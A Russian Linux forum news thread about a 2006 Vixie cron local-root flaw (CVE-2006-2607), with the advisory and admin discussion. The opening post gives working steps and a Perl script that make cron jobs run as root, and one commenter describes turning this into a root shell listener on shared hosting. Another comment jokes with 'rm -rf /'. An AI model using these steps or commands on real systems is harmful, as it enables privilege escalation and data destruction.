LINUX.ORG.RU

Vixie Cron local root


0

0

В /etc/security/limits.conf добавляем "username hard nproc 10"
Раскомментируем строку с pam_limits.so в файле /etc/pam.d/crond
Добавляем в crontab задание: * * * * * /path/to/script.pl
где script.pl:

#!/usr/bin/perl
open file, '>/path/to/pid.'.$$;
close file;
while(1) { sleep(1); }

Через "ps aux" ждем когда запустится 10 экземпляров script.pl, следующие - будут видны как запущенные от root.

>>> Подробности



Проверено: Demetrio ()

у меня есть вариант проще

вместо редактирования /etc/security/limits.conf и /etc/pam.d/crond

набираем rm -rf / и вуаля! мы похакали свой комп

geek ★★★
()
Ответ на: комментарий от geek

Ага, vixie-cron не проверяет возврат вызова собственного setuid и поэтому процесс оставался под рутом

"do_command.c in Vixie cron (vixie-cron) 4.1 does not check the return code of a setuid call, which might allow local users to gain root privileges if setuid fails" - это ж просто дупло какое то.

Sun-ch
() автор топика
Ответ на: комментарий от robot12

dcron не умеет cron.deny/cron.allow ну в общем нельзя например каким-то юзерам запретить пользоваться кроном. :( И это очень нехорошо.

anonymous
()

да это просто праздник какой-то =)

пошёл хакать всё подряд ^_^

blind
()
Ответ на: комментарий от anonymous

>нельзя например каким-то юзерам запретить пользоваться кроном.

Хммм а зачем запрещать пользоваться кроном ? :) глупый конечно вопрос но всё же ..

robot12 ★★★★★
()
Ответ на: комментарий от robot12

К сожалению вопрос действительно глупый. :)

anonymous
()
Ответ на: комментарий от robot12

>Хммм а зачем запрещать пользоваться кроном ? :) глупый конечно вопрос но всё же ..

это для хостеров, у которых фича "crontab" платная ;)))

AcidumIrae ★★★★★
()
Ответ на: комментарий от Valmont

Кстати, в оригинале ( opennet -> redhat(fedora) bugzilla ) Оное датировано январем кажется, также redhat'овсцы и выпустили заплатку. Хотя проблема там на стыке пама и крона, они патчили крон.

Valmont ★★★
()
Ответ на: комментарий от AcidumIrae

У меня везде на серверах доступ к crontab -e имеет только root. И все скрипты имеют права на изменения только root'ом. Поэтому уязвимость на самом деле не такая уж страшная...

SteelKey
()
Ответ на: комментарий от anonymous

> в общем нельзя например каким-то юзерам запретить пользоваться кроном

а что мешает сделать мини-скрипт lockusercron:

#!/bin/sh

rm -f /var/spool/cron/crontabs/$1

touch /var/spool/cron/crontabs/$1

chattr +i /var/spool/cron/crontabs/$1

Похожим образом делаем unlock :-)

saper ★★★★★
()
Ответ на: комментарий от Valmont

root@pi3:/News/fcron-3.0.0# /News/fcron-3.0.0/convert-fcrontab `perl -e 'print "pi3"x600'` 15:28:13 Converting pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi 3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3pi3 (truncated) *** glibc detected *** malloc(): memory corruption: 0x0804f370 *** Przerwane (core dumped)

Btw. convert-frontab have suid bit and user/group root by default in trustix Linux.

anonymous
()
Ответ на: комментарий от saper

>> в общем нельзя например каким-то юзерам запретить пользоваться кроном

>а что мешает сделать мини-скрипт lockusercron:

>#!/bin/sh

>rm -f /var/spool/cron/crontabs/$1

>touch /var/spool/cron/crontabs/$1

>chattr +i /var/spool/cron/crontabs/$1

>Похожим образом делаем unlock :-)

Само собой. :) Вариантов много можно придумать. Но все же, это костыли. Очень хотелось бы иметь стандартную функциональность. :) А так конечно вопросов никаких. :)

anonymous
()
Ответ на: комментарий от anonymous

Крон по-моему тоже имеет suid-bit.

(Во фре.)
#ll /usr/bin/crontab
-r-sr-xr-x  1 root  wheel  26968 28 дек  2004 /usr/bin/crontab


А вот оное гуево конечно. Есть какие-либо воркэраунды на эту тему?

Valmont ★★★
()
Ответ на: комментарий от Valmont

Ага.

02/06/2006 fcron 3.0.1 is out ! A new version with several bug fixes, especially for BSD systems. The man pages have also been translated to French. Please note that a buffer overflow has been found in the program convert-fcrontab which is part of fcron 3.0.0: it seems that this bug is not exploitable, but it is safer to upgrade to fcron 3.0.1 which includes a fix for this bug as soon as possible.

Valmont ★★★
()
Ответ на: комментарий от SteelKey

> У меня везде на серверах доступ к crontab -e имеет только root. И все скрипты имеют права на изменения только root'ом. Поэтому уязвимость на самом деле не такая уж страшная...

Это не уязвимость, это фича :)))

aspell
()
Ответ на: комментарий от no-dashi

Bugtraq ID: 18108
Class: Design Error
CVE: CVE-2006-2607
Remote: No
Local: Yes
Published: May 25 2006 12:00AM
Updated: May 26 2006 04:43PM
Credit: Discovery is credited to Roman Veretelnikov.
Vulnerable: RedHat Fedora Core4
Paul Vixie Vixie Cron 4.1
+ RedHat Fedora Core3

Очки купи, ога.

Sun-ch
() автор топика
Ответ на: комментарий от Valmont

Зачем ? Лучше саныча лишний раз пнуть - на лоре это святое дело :D :D

vtVitus ★★★★★
()
Ответ на: комментарий от Sun-ch

>Vulnerable: RedHat Fedora Core4
>            Paul Vixie Vixie Cron 4.1
>               + RedHat Fedora Core3


А чего не написал в новости, что проблемы только у Федоры, 
чтобы "все боялись"?

sdio ★★★★★
()
Ответ на: комментарий от sdio

Тогда вместо пинания Sun-Ch'a будет холивор на тему дистров. ;)

LamerOk ★★★★★
()

> В /etc/security/limits.conf добавляем "username hard nproc 10"

Если при этом предварительно надо портить файлы в /etc/*, то в чём прикол?

eugrus ★★★★★
()
Ответ на: комментарий от eugrus

Прикол в том, что работает не корректно, не так, как должно.

For example, многие хостеры дают рестриктед шелл (в том числе и по ресурсам), более того дают еще еще и доступ к крону. Как раз получается обсуждаемый случай.

Впрочем сам я не пробовал проверить оную штуку, по идее, оно должно "работать" на связке pam+v.cron и на других дистрах.

Valmont ★★★
()
Ответ на: комментарий от eugrus

> Если при этом предварительно надо портить файлы в /etc/*, то в чём прикол?

портить файлы надо для быстрой демонстрации. а в продакшене стоит допустим hard nproc 512, и мне ничего не помешает наплодить 511 процессов, с расчетом чтобы следующий кронтаск запустился от рута - и повесил скажем шелл (рутовый, heh :) на порту 49181.

если у меня вообще нет шелла, а есть только web-panel управляемый крон - тоже не беда, ставим в крон два таска: форкалку и то что запустится от рута. на всякий случай проверяем: if (euid) exit else startlistener;

и 3.14здец шаред хостингу %))))))

dk2
()
Ответ на: комментарий от dk2

точнее даже так:

if (!euid) startlistener; else while(1) fork(); sleep(5);

и эту байду ставим запускаться раз в минуту :)

dk2
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.